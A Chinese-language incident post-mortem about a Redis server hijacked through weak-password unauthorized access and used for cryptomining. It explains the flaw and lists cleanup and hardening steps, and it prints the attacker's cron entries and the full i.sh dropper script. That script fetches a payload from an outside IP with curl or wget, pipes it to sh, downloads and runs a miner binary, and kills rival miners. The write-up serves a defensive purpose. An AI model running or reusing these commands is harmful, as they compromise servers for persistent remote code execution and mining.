服务器攻击之reids篇（2018.4.2）

一、事故原因

开发使用测试机redis
1.开放0.0.0.0
2.密码使用弱口令
3.使用root用户运行redis

梳理一下被黑过程
扫描服务器端口 –> 弱口令拿到reids权限 –> 反弹shell写入秘钥 –> 肉鸡（修改计划任务，挖矿）

贴一下被修改的计划任务，

*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh 

 | sh
*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh 

 | sh

#cat i.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddgs.3010" ]; then
    curl -fsSL http://165.225.157.157:8000/static/3010/ddgs.$(uname -m) -o /tmp/ddgs.3010
fi
chmod +x /tmp/ddgs.3010 && /tmp/ddgs.3010

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

二、漏洞概要

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因，部分Redis 绑定在0.0.0.0:6379，并且没有开启认证（这是Redis的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，将会导致Redis服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

三、清理服务器环境

1.修改账号密码
2.清除计划任务被黑部分
3.清除root用户的authorized_keys文件，并严格限制此文件的写入权限。
4.修改redis配置文件限制登录IP，修改默认端口
5.使用redis账户运行。

四、总结

1.不能给运维人员意外服务器权限，特别是生产环境。你不知道开发会装什么软件，是否有漏洞。
2.这也是我一直推荐的，如果不想服务器瞬间崩溃，计划任务要备份或走版本管理方便恢复。
3.一定要严格限制软件的运行用户，不能用root去运行。否则服务被黑了，就会拿到root权限。

五、抽出时间复原了下shell版攻击脚本，有兴趣的可以看看。后续补充python版本

shell脚本实现批量自动redis反弹shell攻击